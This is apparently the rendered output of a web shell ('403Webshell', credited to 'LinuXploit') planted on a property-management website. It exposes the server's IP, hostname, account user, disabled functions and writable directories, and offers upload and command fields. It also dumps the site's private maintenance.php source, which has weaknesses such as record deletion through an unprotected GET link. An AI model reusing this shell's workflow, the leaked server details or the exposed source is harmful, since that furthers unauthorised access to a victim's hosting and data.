403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/maintenance.php
<?php
include 'includes/header.php';

$roleRaw = $_SESSION['user_role'] ?? '';
$role = strtolower((string)$roleRaw);
$userId = (int)($_SESSION['user_id'] ?? 0);
$isFinanceStaff = in_array($role, ['finance', 'finance_officer'], true);
$isFinanceManager = ($role === 'finance_manager');

// Check Permissions
if (!in_array($_SESSION['user_role'], ['admin', 'super_admin', 'operations', 'operations_manager', 'estate_manager', 'maintenance_staff', 'finance', 'finance_officer', 'finance_manager'])) {
    echo "<div class='alert alert-danger m-4'>Access Denied. You do not have permission to view this page.</div>";
    include 'includes/footer.php';
    exit;
}

// Handle Delete
if (isset($_GET['action'], $_GET['id']) && $_GET['action'] === 'delete') {
    try {
        $stmt = $pdo->prepare("DELETE FROM maintenance_requests WHERE id = ?");
        $stmt->execute([(int)$_GET['id']]);
        header("Location: maintenance.php?notice=" . urlencode("Request deleted") . "&type=success");
        exit;
    } catch (PDOException $e) {
        header("Location: maintenance.php?notice=" . urlencode("Delete failed") . "&type=danger");
        exit;
    }
}

// Handle Status Update
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    if ($_POST['action'] === 'update_status') {
        try {
            $assigned_to = !empty($_POST['assigned_to']) ? $_POST['assigned_to'] : null;
            $scheduled_date = !empty($_POST['scheduled_date']) ? $_POST['scheduled_date'] : null;
            $requestId = (int)($_POST['request_id'] ?? 0);
            $newStatus = (string)($_POST['status'] ?? '');
            $hasCostInput = array_key_exists('cost', $_POST) && $_POST['cost'] !== '';
            $postedCost = $hasCostInput ? (float)$_POST['cost'] : null;

            $currentCost = null;
            if ($requestId > 0) {
                $cur = $pdo->prepare("SELECT cost FROM maintenance_requests WHERE id = ? LIMIT 1");
                $cur->execute([$requestId]);
                $cc = $cur->fetchColumn();
                $currentCost = ($cc !== false && $cc !== null) ? (float)$cc : null;
            }
            $costChanged = $hasCostInput && ((float)$postedCost !== (float)($currentCost ?? 0));

            if ($costChanged && !$isFinanceStaff) {
                header("Location: maintenance.php?notice=" . urlencode("Access Denied: Finance Controlled") . "&type=danger");
                exit;
            }
            if (strtolower(trim($newStatus)) === 'completed' && !$isFinanceManager) {
                header("Location: maintenance.php?notice=" . urlencode("Access Denied: Finance Manager approval required") . "&type=danger");
                exit;
            }

            $sets = ["status = ?", "assigned_to = ?", "scheduled_date = ?"];
            $vals = [$newStatus, $assigned_to, $scheduled_date];
            if ($costChanged) {
                $sets[] = "cost = ?";
                $vals[] = $postedCost;
                if (function_exists('tableHasColumn') && tableHasColumn('maintenance_requests', 'recorded_by_user_id')) {
                    $sets[] = "recorded_by_user_id = ?";
                    $vals[] = $userId;
                }
                if (function_exists('tableHasColumn') && tableHasColumn('maintenance_requests', 'recorded_by_role')) {
                    $sets[] = "recorded_by_role = ?";
                    $vals[] = 'finance';
                }
            }
            $vals[] = $requestId;
            $stmt = $pdo->prepare("UPDATE maintenance_requests SET " . implode(', ', $sets) . " WHERE id = ?");
            $stmt->execute($vals);
            header("Location: maintenance.php?notice=" . urlencode("Request updated successfully") . "&type=success");
            exit;
        } catch (PDOException $e) {
            header("Location: maintenance.php?notice=" . urlencode("Error updating request") . "&type=danger");
            exit;
        }
    } elseif ($_POST['action'] === 'create_request') {
        try {
            $stmt = $pdo->prepare("INSERT INTO maintenance_requests (property_id, tenant_id, title, issue_type, description, priority, status) VALUES (?, ?, ?, ?, ?, ?, 'open')");
            $stmt->execute([
                $_POST['property_id'],
                $_POST['tenant_id'],
                $_POST['title'],
                $_POST['issue_type'],
                $_POST['description'],
                $_POST['priority']
            ]);
            header("Location: maintenance.php?notice=" . urlencode("Maintenance request created successfully") . "&type=success");
            exit;
        } catch (PDOException $e) {
            header("Location: maintenance.php?notice=" . urlencode("Error creating request") . "&type=danger");
            exit;
        }
    }
    header("Location: maintenance.php");
    exit;
}

// KPI Stats
try {
    $companyId = getCurrentCompanyId();
    $companyFilter = $companyId ? " WHERE company_id = {$companyId}" : "";
    $kpis = [
        'total' => $pdo->query("SELECT COUNT(*) FROM maintenance_requests" . $companyFilter)->fetchColumn(),
        'open' => $pdo->query("SELECT COUNT(*) FROM maintenance_requests" . $companyFilter . ($companyFilter ? " AND" : " WHERE") . " status = 'open'")->fetchColumn(),
        'in_progress' => $pdo->query("SELECT COUNT(*) FROM maintenance_requests" . $companyFilter . ($companyFilter ? " AND" : " WHERE") . " status = 'in_progress'")->fetchColumn(),
        'urgent' => $pdo->query("SELECT COUNT(*) FROM maintenance_requests" . $companyFilter . ($companyFilter ? " AND" : " WHERE") . " priority = 'urgent' AND status != 'closed'")->fetchColumn(),
    ];
} catch (Exception $e) {
    $kpis = array_fill_keys(['total', 'open', 'in_progress', 'urgent'], 0);
}

// Fetch Requests
$search = $_GET['search'] ?? '';
$status_filter = $_GET['status'] ?? '';
$priority_filter = $_GET['priority'] ?? '';

$sql = "SELECT m.*, 
               p.title as property_title, 
               u.name as tenant_name, 
               s.name as assigned_name 
        FROM maintenance_requests m 
        LEFT JOIN properties p ON m.property_id = p.id 
        LEFT JOIN users u ON m.tenant_id = u.id 
        LEFT JOIN users s ON m.assigned_to = s.id 
        WHERE 1=1";

$params = [];
if (!isset($companyId)) {
    $companyId = getCurrentCompanyId();
}
if ($companyId) {
    $sql .= " AND m.company_id = ?";
    $params[] = $companyId;
}
if ($search) {
    $sql .= " AND (m.title LIKE ? OR p.title LIKE ? OR u.name LIKE ?)";
    $params[] = "%$search%";
    $params[] = "%$search%";
    $params[] = "%$search%";
}
if ($status_filter) {
    $sql .= " AND m.status = ?";
    $params[] = $status_filter;
}
if ($priority_filter) {
    $sql .= " AND m.priority = ?";
    $params[] = $priority_filter;
}

$sql .= " ORDER BY m.created_at DESC";

$stmt = $pdo->prepare($sql);
$stmt->execute($params);
$requests = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Fetch Staff for Assignment
if ($companyId) {
    $staff_stmt = $pdo->prepare("SELECT id, name FROM users WHERE role IN ('operations', 'operations_officer', 'maintenance_staff', 'contractor') AND company_id = ? ORDER BY name");
    $staff_stmt->execute([$companyId]);
    $staff_members = $staff_stmt->fetchAll(PDO::FETCH_ASSOC);
} else {
    $staff_stmt = $pdo->query("SELECT id, name FROM users WHERE role IN ('operations', 'operations_officer', 'maintenance_staff', 'contractor') ORDER BY name");
    $staff_members = $staff_stmt->fetchAll(PDO::FETCH_ASSOC);
}

// Fetch Properties & Tenants for New Request
if ($companyId) {
    $props_stmt = $pdo->prepare("SELECT id, title FROM properties WHERE company_id = ? ORDER BY title");
    $props_stmt->execute([$companyId]);
    $properties = $props_stmt->fetchAll(PDO::FETCH_ASSOC);
} else {
    $props_stmt = $pdo->query("SELECT id, title FROM properties ORDER BY title");
    $properties = $props_stmt->fetchAll(PDO::FETCH_ASSOC);
}

if ($companyId) {
    $tenants_stmt = $pdo->prepare("SELECT id, name FROM users WHERE role = 'client' AND company_id = ? ORDER BY name");
    $tenants_stmt->execute([$companyId]);
    $tenants = $tenants_stmt->fetchAll(PDO::FETCH_ASSOC);
} else {
    $tenants_stmt = $pdo->query("SELECT id, name FROM users WHERE role = 'client' ORDER BY name");
    $tenants = $tenants_stmt->fetchAll(PDO::FETCH_ASSOC);
}

?>

<div class="main-content p-4">
    <!-- Header -->
    <div class="d-flex justify-content-between align-items-center mb-4">
        <div>
            <h2 class="fw-bold text-navy"><i class="fas fa-screwdriver-wrench me-2"></i>Maintenance Requests</h2>
            <p class="text-muted mb-0">Track and manage property maintenance issues.</p>
        </div>
        <button class="btn btn-success" data-bs-toggle="modal" data-bs-target="#createRequestModal">
            <i class="fas fa-plus me-2"></i>New Request
        </button>
    </div>

    <!-- KPI Strip -->
    <div class="row g-3 mb-4">
        <div class="col-md-3">
            <div class="card border-0 shadow-sm h-100 bg-navy text-white">
                <div class="card-body d-flex align-items-center">
                    <div class="rounded-circle bg-white bg-opacity-25 p-3 me-3">
                        <i class="fas fa-clipboard-list fa-2x"></i>
                    </div>
                    <div>
                        <h6 class="card-subtitle text-white-50 mb-1">Total Requests</h6>
                        <h2 class="card-title mb-0"><?= number_format($kpis['total']) ?></h2>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-3">
            <div class="card border-0 shadow-sm h-100">
                <div class="card-body d-flex align-items-center text-danger">
                    <div class="rounded-circle bg-danger bg-opacity-10 p-3 me-3">
                        <i class="fas fa-exclamation-circle fa-2x"></i>
                    </div>
                    <div>
                        <h6 class="card-subtitle text-muted mb-1">Urgent Issues</h6>
                        <h2 class="card-title mb-0"><?= number_format($kpis['urgent']) ?></h2>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-3">
            <div class="card border-0 shadow-sm h-100">
                <div class="card-body d-flex align-items-center text-primary">
                    <div class="rounded-circle bg-primary bg-opacity-10 p-3 me-3">
                        <i class="fas fa-folder-open fa-2x"></i>
                    </div>
                    <div>
                        <h6 class="card-subtitle text-muted mb-1">Open Requests</h6>
                        <h2 class="card-title mb-0"><?= number_format($kpis['open']) ?></h2>
                    </div>
                </div>
            </div>
        </div>
        <div class="col-md-3">
            <div class="card border-0 shadow-sm h-100">
                <div class="card-body d-flex align-items-center text-warning">
                    <div class="rounded-circle bg-warning bg-opacity-10 p-3 me-3">
                        <i class="fas fa-tools fa-2x"></i>
                    </div>
                    <div>
                        <h6 class="card-subtitle text-muted mb-1">In Progress</h6>
                        <h2 class="card-title mb-0"><?= number_format($kpis['in_progress']) ?></h2>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Filters -->
    <div class="card shadow-sm mb-4 border-0">
        <div class="card-body">
            <form method="GET" class="row g-3">
                <div class="col-md-4">
                    <div class="input-group">
                        <span class="input-group-text bg-light border-end-0"><i class="fas fa-search text-muted"></i></span>
                        <input type="text" name="search" class="form-control border-start-0 ps-0" placeholder="Search by title, property, or tenant..." value="<?= htmlspecialchars($search) ?>">
                    </div>
                </div>
                <div class="col-md-3">
                    <select name="status" class="form-select" onchange="this.form.submit()">
                        <option value="">All Statuses</option>
                        <option value="open" <?= $status_filter == 'open' ? 'selected' : '' ?>>Open</option>
                        <option value="in_progress" <?= $status_filter == 'in_progress' ? 'selected' : '' ?>>In Progress</option>
                        <option value="resolved" <?= $status_filter == 'resolved' ? 'selected' : '' ?>>Resolved</option>
                        <option value="closed" <?= $status_filter == 'closed' ? 'selected' : '' ?>>Closed</option>
                        <option value="completed" <?= $status_filter == 'completed' ? 'selected' : '' ?>>Completed</option>
                    </select>
                </div>
                <div class="col-md-3">
                    <select name="priority" class="form-select" onchange="this.form.submit()">
                        <option value="">All Priorities</option>
                        <option value="low" <?= $priority_filter == 'low' ? 'selected' : '' ?>>Low</option>
                        <option value="medium" <?= $priority_filter == 'medium' ? 'selected' : '' ?>>Medium</option>
                        <option value="high" <?= $priority_filter == 'high' ? 'selected' : '' ?>>High</option>
                        <option value="urgent" <?= $priority_filter == 'urgent' ? 'selected' : '' ?>>Urgent</option>
                    </select>
                </div>
                <div class="col-md-2 d-grid">
                    <a href="maintenance.php" class="btn btn-light border">Reset</a>
                </div>
            </form>
        </div>
    </div>

    <!-- Requests List -->
    <div class="card shadow-sm border-0">
        <div class="table-responsive">
            <table class="table table-hover align-middle mb-0">
                <thead class="bg-light">
                    <tr>
                        <th class="ps-4">Request</th>
                        <th>Property</th>
                        <th>Priority</th>
                        <th>Status</th>
                        <th>Assigned To</th>
                        <th>Cost</th>
                        <th>Created</th>
                        <th class="text-end pe-4">Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if (empty($requests)): ?>
                        <tr>
                            <td colspan="8" class="text-center py-5 text-muted">
                                <i class="fas fa-clipboard-check fa-3x mb-3 opacity-50"></i>
                                <p>No maintenance requests found.</p>
                            </td>
                        </tr>
                    <?php else: ?>
                        <?php foreach ($requests as $req): 
                            $statusClass = match($req['status']) {
                                'open' => 'bg-info bg-opacity-10 text-info',
                                'in_progress' => 'bg-warning bg-opacity-10 text-warning',
                                'resolved' => 'bg-success bg-opacity-10 text-success',
                                'closed' => 'bg-secondary bg-opacity-10 text-secondary',
                                default => 'bg-light text-dark'
                            };
                            $priorityClass = match($req['priority']) {
                                'urgent' => 'text-danger fw-bold',
                                'high' => 'text-danger',
                                'medium' => 'text-warning',
                                'low' => 'text-success',
                                default => 'text-muted'
                            };
                        ?>
                        <tr style="cursor: pointer;" onclick="openRequestDetails(<?= $req['id'] ?>)">
                            <td class="ps-4">
                                <div class="fw-bold text-navy"><?= htmlspecialchars($req['title'] ?: $req['issue_type']) ?></div>
                                <div class="small text-muted text-truncate" style="max-width: 200px;"><?= htmlspecialchars($req['description']) ?></div>
                            </td>
                            <td>
                                <div class="d-flex align-items-center">
                                    <div class="avatar-sm rounded bg-light text-primary d-flex align-items-center justify-content-center me-2">
                                        <i class="fas fa-building"></i>
                                    </div>
                                    <div>
                                        <div class="fw-bold small"><?= htmlspecialchars($req['property_title']) ?></div>
                                        <div class="small text-muted">Ten: <?= htmlspecialchars($req['tenant_name']) ?></div>
                                    </div>
                                </div>
                            </td>
                            <td>
                                <span class="<?= $priorityClass ?> text-uppercase small">
                                    <i class="fas fa-circle fa-xs me-1"></i><?= $req['priority'] ?>
                                </span>
                            </td>
                            <td>
                                <?= getStatusBadge($req['status']) ?>
                            </td>
                            <td>
                                <?php if($req['assigned_name']): ?>
                                    <div class="d-flex align-items-center">
                                        <div class="avatar-xs rounded-circle bg-primary text-white d-flex align-items-center justify-content-center me-2" style="width: 24px; height: 24px; font-size: 0.7rem;">
                                            <?= strtoupper(substr($req['assigned_name'], 0, 1)) ?>
                                        </div>
                                        <span class="small"><?= htmlspecialchars($req['assigned_name']) ?></span>
                                    </div>
                                <?php else: ?>
                                    <span class="badge bg-light text-muted border fw-normal">Unassigned</span>
                                <?php endif; ?>
                            </td>
                            <td>
                                <span class="text-muted fw-bold"><?= $req['cost'] > 0 ? '$' . number_format($req['cost'], 2) : '-' ?></span>
                            </td>
                            <td class="small text-muted">
                                <?= date('M d, Y', strtotime($req['created_at'])) ?>
                            </td>
                            <td class="text-end pe-4" onclick="event.stopPropagation()">
                                <div class="dropdown">
                                    <button class="btn btn-sm btn-light border-0" data-bs-toggle="dropdown">
                                        <i class="fas fa-ellipsis-v"></i>
                                    </button>
                                    <ul class="dropdown-menu dropdown-menu-end shadow-sm">
                                        <li><a class="dropdown-item" href="#" onclick="openRequestDetails(<?= $req['id'] ?>)"><i class="fas fa-eye me-2 text-primary"></i>View Details</a></li>
                                        <li><a class="dropdown-item text-danger" href="maintenance.php?action=delete&id=<?= $req['id'] ?>" onclick="return confirm('Delete this request?')"><i class="fas fa-trash-alt me-2"></i>Delete</a></li>
                                    </ul>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    <?php endif; ?>
                </tbody>
            </table>
        </div>
    </div>
</div>

<!-- Side Drawer -->
<div class="drawer-backdrop" id="drawerBackdrop"></div>
<div class="side-drawer shadow-lg" id="sideDrawer">
    <div class="drawer-header border-bottom p-3 d-flex justify-content-between align-items-center bg-white sticky-top">
        <h5 class="mb-0 fw-bold"><i class="fas fa-tools me-2 text-primary"></i>Request Details</h5>
        <button type="button" class="btn-close" onclick="closeDrawer()"></button>
    </div>
    <div class="drawer-content p-0" id="drawerContent">
        <div class="d-flex justify-content-center align-items-center h-100">
            <div class="spinner-border text-primary" role="status">
                <span class="visually-hidden">Loading...</span>
            </div>
        </div>
    </div>
</div>

<!-- Create Request Modal -->
<div class="modal fade" id="createRequestModal" tabindex="-1">
    <div class="modal-dialog">
        <form method="POST" class="modal-content">
            <input type="hidden" name="action" value="create_request">
            <div class="modal-header">
                <h5 class="modal-title">New Maintenance Request</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <div class="modal-body">
                <div class="mb-3">
                    <label class="form-label">Title</label>
                    <input type="text" name="title" class="form-control" required placeholder="e.g. Leaky Faucet in Kitchen">
                </div>
                <div class="row g-3 mb-3">
                    <div class="col-md-6">
                        <label class="form-label">Property</label>
                        <select name="property_id" class="form-select" required>
                            <option value="">Select Property</option>
                            <?php foreach ($properties as $prop): ?>
                                <option value="<?= $prop['id'] ?>"><?= htmlspecialchars($prop['title']) ?></option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="col-md-6">
                        <label class="form-label">Tenant (Reporter)</label>
                        <select name="tenant_id" class="form-select" required>
                            <option value="">Select Tenant</option>
                            <?php foreach ($tenants as $tenant): ?>
                                <option value="<?= $tenant['id'] ?>"><?= htmlspecialchars($tenant['name']) ?></option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                </div>
                <div class="row g-3 mb-3">
                    <div class="col-md-6">
                        <label class="form-label">Category</label>
                        <select name="issue_type" class="form-select" required>
                            <option value="Plumbing">Plumbing</option>
                            <option value="Electrical">Electrical</option>
                            <option value="HVAC">HVAC</option>
                            <option value="Structural">Structural</option>
                            <option value="Appliance">Appliance</option>
                            <option value="Other">Other</option>
                        </select>
                    </div>
                    <div class="col-md-6">
                        <label class="form-label">Priority</label>
                        <select name="priority" class="form-select" required>
                            <option value="low">Low</option>
                            <option value="medium" selected>Medium</option>
                            <option value="high">High</option>
                            <option value="urgent">Urgent</option>
                        </select>
                    </div>
                </div>
                <div class="mb-3">
                    <label class="form-label">Description</label>
                    <textarea name="description" class="form-control" rows="3" required></textarea>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                <button type="submit" class="btn btn-primary">Create Request</button>
            </div>
        </form>
    </div>
</div>

<script>
function openRequestDetails(id) {
    document.getElementById('drawerBackdrop').classList.add('show');
    document.getElementById('sideDrawer').classList.add('open');
    document.body.style.overflow = 'hidden';

    fetch(`ajax_get_maintenance_details.php?id=${id}`)
        .then(response => response.text())
        .then(html => {
            document.getElementById('drawerContent').innerHTML = html;
        })
        .catch(err => {
            document.getElementById('drawerContent').innerHTML = '<div class="alert alert-danger m-3">Failed to load details.</div>';
        });
}

function closeDrawer() {
    document.getElementById('drawerBackdrop').classList.remove('show');
    document.getElementById('sideDrawer').classList.remove('open');
    document.body.style.overflow = '';
}

document.getElementById('drawerBackdrop').addEventListener('click', closeDrawer);
try {
    var sp = new URLSearchParams(window.location.search);
    var vid = sp.get('view_id');
    if (vid && /^\d+$/.test(vid)) {
        openRequestDetails(parseInt(vid, 10));
    }
} catch (e) {}
</script>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit